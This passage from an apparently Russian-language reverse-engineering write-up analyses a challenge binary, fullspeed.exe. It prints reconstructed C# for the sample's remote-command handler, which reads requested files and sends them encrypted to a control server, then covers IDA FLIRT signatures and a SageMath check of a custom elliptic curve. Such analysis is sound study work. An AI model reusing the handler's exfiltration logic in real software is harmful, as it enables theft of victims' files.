sbDirsFiles.Append(strArrayFiles[iter]);                         sbDirsFiles.Append(Environment.NewLine);                     }                 }                  string strOut = sbDirsFiles.ToString();                 SendAndEncrypt(strOut);             }              \/\/ string strCat = \"cat\";             string strEncCat = \"466707\";             string strCat = myEC.DecodeEncryptData(strEncCat);             if (!strArraySplit[0].Equals(strCat))             {                 break;             }             if (intSizeArraySplit &lt;= 1)             {                 throw new BadImageFormatException();             }              byte[] byteArrayTemp = ReadFile(strArraySplit[1]);             string strBaseData = Convert.ToBase64String(byteArrayTemp);             SendAndEncrypt(strBaseData);         }         \/\/ string strExit = \"exit\";         string strEncExit = \"407e1a88\";         string strExit = myEC.DecodeEncryptData(strEncExit);         if (strArraySplit[0].Equals(strExit))         {             return;         }          \/\/ string strBadCmd = \"bad cmd\";         string strEncBadCmd = \"476717dc920f7b\";         string strBadCmd = myEC.DecodeEncryptData(strEncBadCmd);         SendAndEncrypt(strBadCmd);     } } <\/code><\/pre>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 fullspeed.exe \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u044b\u043c, \u0447\u0442\u043e \u0444\u043b\u0430\u0433 \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u043c \u0444\u0430\u0439\u043b\u0435, \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u043e\u043d \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0442\u0440\u0430\u0444\u0438\u043a\u0435.<br \/> \u0420\u0430\u0437 \u0444\u043b\u0430\u0433 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u0435 \u0441 \u0442\u0440\u0430\u0444\u0438\u043a\u043e\u043c \u0438 \u0435\u0441\u0442\u044c \u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u0444\u0430\u0439\u043b fullspeed.exe \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u0446\u0435\u043b\u044c\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0442 \u0446\u0435\u043d\u0442\u0440\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u044b\u043c, \u0447\u0442\u043e \u0444\u043b\u0430\u0433 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442\u0441\u044f \u0432 \u0432\u0438\u0434\u0435 \u043e\u0442\u0432\u0435\u0442\u0430 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <strong>cat<\/strong>, \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u0432 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0442\u0440\u0430\u0444\u0438\u043a\u0435.<br \/> \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0432\u0430\u0436\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434: \u0444\u043b\u0430\u0433 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442\u0441\u044f \u0432 \u0441\u0435\u0442\u0438 \u0432 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0432\u0438\u0434\u0435, \u0438 \u0435\u0433\u043e \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432. \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u044d\u0442\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043c\u043e\u0436\u043d\u043e, \u043b\u0438\u0448\u044c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0432 \u043f\u0440\u0438\u043c\u0435\u043d\u0451\u043d\u043d\u044b\u0435 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u044b, \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0438\u0445 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u043a\u043b\u044e\u0447\u0435\u0439.<\/p>\n<h4>\u0424\u0438\u043d\u0430\u043b\u044c\u043d\u0430\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 FLIRT-\u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440<\/h4>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043b\u043e\u0433\u0438\u043a\u0438 \u0440\u0430\u0431\u043e\u0442\u044b fullspeed.exe \u0432 \u043f\u0440\u043e\u0435\u043a\u0442\u0435 client, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c \u0435\u0433\u043e \u0434\u043b\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b <strong>win-x86<\/strong>. \u041d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043e\u0442\u043b\u0430\u0434\u043e\u0447\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0431\u0443\u0434\u0443\u0442 \u0441\u043e\u0437\u0434\u0430\u043d\u044b FLIRT-\u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b, \u0432 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0435 5214.<br \/> \u041f\u043e\u0441\u043b\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u044d\u0442\u0438\u0445 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 \u0432 \u043f\u0440\u043e\u0435\u043a\u0442 IDA \u0441 \u0444\u0430\u0439\u043b\u043e\u043c fullspeed.exe \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u043d\u043e 4222 \u0444\u0443\u043d\u043a\u0446\u0438\u0438. \u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u043f\u0440\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 BouncyCastle.Cryptography.pat \u0438 BouncyCastle.Crypto.Tests.pat, \u0431\u0443\u0434\u0443\u0442 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u043d\u044b \u0435\u0449\u0451 46 \u0438 379 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043e\u0431\u0449\u0435\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u0442 4647.<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/z7\/ph\/i6\/z7phi61yvpq-e_h6vd6a6ee37me.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0435 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u043d\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/z7\/ph\/i6\/z7phi61yvpq-e_h6vd6a6ee37me.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/z7\/ph\/i6\/z7phi61yvpq-e_h6vd6a6ee37me.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0435 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u043d\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439<\/figcaption><\/div>\n<\/figure>\n<h3>\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u0440\u0438\u0432\u044b\u0445<\/h3>\n<p>\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u043f\u043e \u0438\u043c\u0435\u044e\u0449\u0438\u043c\u0441\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c (\u043c\u043e\u0434\u0443\u043b\u044c \u043f\u043e\u043b\u044f <img decoding=\"async\" class=\"formula inline\" source=\"q\" alt=\"q\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/76\/769\/7694f4a66316e53c8cdd9d9954bd611d.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/76\/769\/7694f4a66316e53c8cdd9d9954bd611d.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/76\/769\/7694f4a66316e53c8cdd9d9954bd611d.svg 781w\" loading=\"lazy\" decode=\"async\"\/>, \u043a\u043e\u044d\u0444\u0444\u0438\u0446\u0438\u0435\u043d\u0442\u044b <img decoding=\"async\" class=\"formula inline\" source=\"a\" alt=\"a\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/0c\/0cc\/0cc175b9c0f1b6a831c399e269772661.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/0c\/0cc\/0cc175b9c0f1b6a831c399e269772661.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/0c\/0cc\/0cc175b9c0f1b6a831c399e269772661.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0438 <img decoding=\"async\" class=\"formula inline\" source=\"b\" alt=\"b\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/9\/92\/92e\/92eb5ffee6ae2fec3ad71c777531578f.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/9\/92\/92e\/92eb5ffee6ae2fec3ad71c777531578f.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/9\/92\/92e\/92eb5ffee6ae2fec3ad71c777531578f.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0438 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u044b <img decoding=\"async\" class=\"formula inline\" source=\"x\" alt=\"x\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/9\/9d\/9dd\/9dd4e461268c8034f5c8564e155c67a6.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/9\/9d\/9dd\/9dd4e461268c8034f5c8564e155c67a6.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/9\/9d\/9dd\/9dd4e461268c8034f5c8564e155c67a6.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0438 <img decoding=\"async\" class=\"formula inline\" source=\"y\" alt=\"y\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/4\/41\/415\/415290769594460e2e485922904f345d.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/4\/41\/415\/415290769594460e2e485922904f345d.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/4\/41\/415\/415290769594460e2e485922904f345d.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 <img decoding=\"async\" class=\"formula inline\" source=\"G\" alt=\"G\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/d\/df\/dfc\/dfcf28d0734569a6a693bc8194de62bf.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/d\/df\/dfc\/dfcf28d0734569a6a693bc8194de62bf.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/d\/df\/dfc\/dfcf28d0734569a6a693bc8194de62bf.svg 781w\" loading=\"lazy\" decode=\"async\"\/>) \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043b\u0438 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043a\u0440\u0438\u0432\u0430\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439. \u0412 \u0445\u043e\u0434\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043f\u043e\u0438\u0441\u043a \u043d\u0430 <a href=\"https:\/\/neuromancer.sk\/std\/\" rel=\"noopener noreferrer nofollow\">neuromancer.sk<\/a>, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u043a\u043e\u0434\u043e\u0432 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a (\u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a <strong>OpenSSL<\/strong>, <strong>BoringSSL<\/strong>, <strong>libsodium<\/strong>, <strong>mbedTLS<\/strong> \u0438 \u0434\u0440.), \u0430\u043d\u0430\u043b\u043e\u0433\u043e\u0432 \u0434\u0430\u043d\u043d\u043e\u0439 \u043a\u0440\u0438\u0432\u043e\u0439 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u043d\u0435 \u0431\u044b\u043b\u043e. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u0440\u0438\u0432\u044b\u0445 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u043c, \u0442\u0430\u043a\u0438\u0435 \u043a\u0440\u0438\u0432\u044b\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u043b\u0438\u0441\u044c \u0441 \u0443\u043c\u044b\u0441\u043b\u043e\u043c \u0438\u0445 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0430\u0436\u043d\u043e \u0438\u0437\u0443\u0447\u0438\u0442\u044c \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u0439 \u043a\u0440\u0438\u0432\u043e\u0439, \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u043f\u043e\u043b\u0430\u0433\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u0435\u0451 \u043a\u0440\u0438\u043f\u0442\u043e\u0441\u0442\u043e\u0439\u043a\u043e\u0441\u0442\u044c.<\/p>\n<h4>\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u043f\u043e\u043b\u044f<\/h4>\n<p>\u0414\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0443\u0434\u043e\u0431\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c <strong>SageMath<\/strong> \u2013 \u043c\u043e\u0449\u043d\u0430\u044f \u043c\u0430\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u044e\u0449\u0430\u044f \u0441\u043e\u0442\u043d\u0438 \u043c\u0430\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a \u0438 \u043f\u0430\u043a\u0435\u0442\u043e\u0432. \u0427\u0442\u043e\u0431\u044b \u0443\u043f\u0440\u043e\u0441\u0442\u0438\u0442\u044c \u0435\u0451 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435, \u043c\u043e\u0436\u043d\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f <strong>Docker<\/strong>.<\/p>\n<p>\u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u0440\u0438\u0432\u043e\u0439:<\/p>\n<pre><code class=\"python\">from sage.all import *  # \u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044f \u0438 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u0440\u0438\u0432\u043e\u0439 prime_field_modulus = 0xc90102faa48f18b5eac1f76bb40a1b9fb0d841712bbe3e5576a7a56976c2baeca47809765283aa078583e1e65172a3fd  curve_param_A = 0xa079db08ea2470350c182487b50f7707dd46a58a1d160ff79297dcc9bfad6cfc96a81c4a97564118a40331fe0fc1327f curve_param_B = 0x9f939c02a7bd7fc263a4cce416f4c575f28d0c1315c4f0c282fca6709a5f9f7f9c251c9eede9eb1baa31602167fa5380  base_point_x = 0x087b5fe3ae6dcfb0e074b40f6208c8f6de4f4f0679d6933796d3b9bd659704fb85452f041fff14cf0e9aa7e45544f9d8 base_point_y = 0x127425c1d330ed537663e87459eaa1b1b53edfe305f6a79b184b3180033aab190eb9aa003e02e9dbf6d593c5e3b08182 <\/code><\/pre>\n<p>\u041f\u043e \u0438\u043c\u0435\u044e\u0449\u0438\u043c\u0441\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043c\u043e\u0434\u0443\u043b\u044c \u043f\u043e\u043b\u044f \u0438 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u0440\u0438\u0432\u043e\u0439, \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u043d\u0438 \u043f\u0440\u043e\u0441\u0442\u044b\u043c\u0438 \u0447\u0438\u0441\u043b\u0430\u043c\u0438 \u0438\u043b\u0438 \u043d\u0435\u0442.<\/p>\n<pre><code class=\"python\"># \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044f \u0438 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u0440\u0438\u0432\u043e\u0439 F = GF(prime_field_modulus) E = EllipticCurve(F, [curve_param_A, curve_param_B])  # \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u043e\u0442\u0443 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0438 \u043f\u043e\u043b\u044f print(f\"\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430: \u043c\u043e\u0434\u0443\u043b\u044c \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044f q \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u044b\u043c? {is_prime(prime_field_modulus)}\")  # \u041f\u043e\u0440\u044f\u0434\u043e\u043a \u0433\u0440\u0443\u043f\u043f\u044b \u0442\u043e\u0447\u0435\u043a \u043a\u0440\u0438\u0432\u043e\u0439 curve_order = E.order() print(f\"\u041f\u043e\u0440\u044f\u0434\u043e\u043a \u0433\u0440\u0443\u043f\u043f\u044b \u0442\u043e\u0447\u0435\u043a \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u0440\u0438\u0432\u043e\u0439: {curve_order}\") print(f\"\u0414\u043b\u0438\u043d\u0430 \u043f\u043e\u0440\u044f\u0434\u043a\u0430 \u043a\u0440\u0438\u0432\u043e\u0439 \u0432 \u0431\u0438\u0442\u0430\u0445: {curve_order.nbits()}\") print(f\"\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430: \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u043a\u0440\u0438\u0432\u043e\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u044b\u043c? {curve_order.is_prime()}\")  # \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u0430 base_point = E.point((base_point_x, base_point_y))  # \u041f\u043e\u0440\u044f\u0434\u043e\u043a \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 \u0438 \u0435\u0433\u043e \u0431\u0438\u0442\u043e\u0432\u0430\u044f \u0434\u043b\u0438\u043d\u0430 base_point_order = base_point.order() base_point_order_bits = base_point_order.nbits()  print(f\"\u041f\u043e\u0440\u044f\u0434\u043e\u043a \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438: {base_point_order}\") print(f\"\u0414\u043b\u0438\u043d\u0430 \u043f\u043e\u0440\u044f\u0434\u043a\u0430 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 \u0432 \u0431\u0438\u0442\u0430\u0445: {base_point_order_bits}\") print(f\"\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430: \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u044b\u043c? {base_point_order.is_prime()}\") <\/code><\/pre>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c, \u0447\u0442\u043e <img decoding=\"async\" class=\"formula inline\" source=\"q\" alt=\"q\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/76\/769\/7694f4a66316e53c8cdd9d9954bd611d.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/76\/769\/7694f4a66316e53c8cdd9d9954bd611d.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/76\/769\/7694f4a66316e53c8cdd9d9954bd611d.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u044d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e\u0435 \u0447\u0438\u0441\u043b\u043e, \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u043a\u0440\u0438\u0432\u043e\u0439 (<strong>curve_order<\/strong>) \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u043f\u043e\u0440\u044f\u0434\u043a\u043e\u043c \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 (<strong>base_point_order<\/strong>). \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 \u043f\u043e\u0440\u043e\u0436\u0434\u0430\u0435\u0442 \u0432\u0441\u044e \u0433\u0440\u0443\u043f\u043f\u0443 \u0442\u043e\u0447\u0435\u043a \u043d\u0430 \u043a\u0440\u0438\u0432\u043e\u0439, \u0438 \u0433\u0440\u0443\u043f\u043f\u0430 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0446\u0438\u043a\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439. \u0421\u0430\u043c \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0433\u0440\u0443\u043f\u043f\u044b \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043e\u0441\u0442\u0430\u0432\u043d\u044b\u043c \u0447\u0438\u0441\u043b\u043e\u043c \u0434\u043b\u0438\u043d\u043e\u0439 384 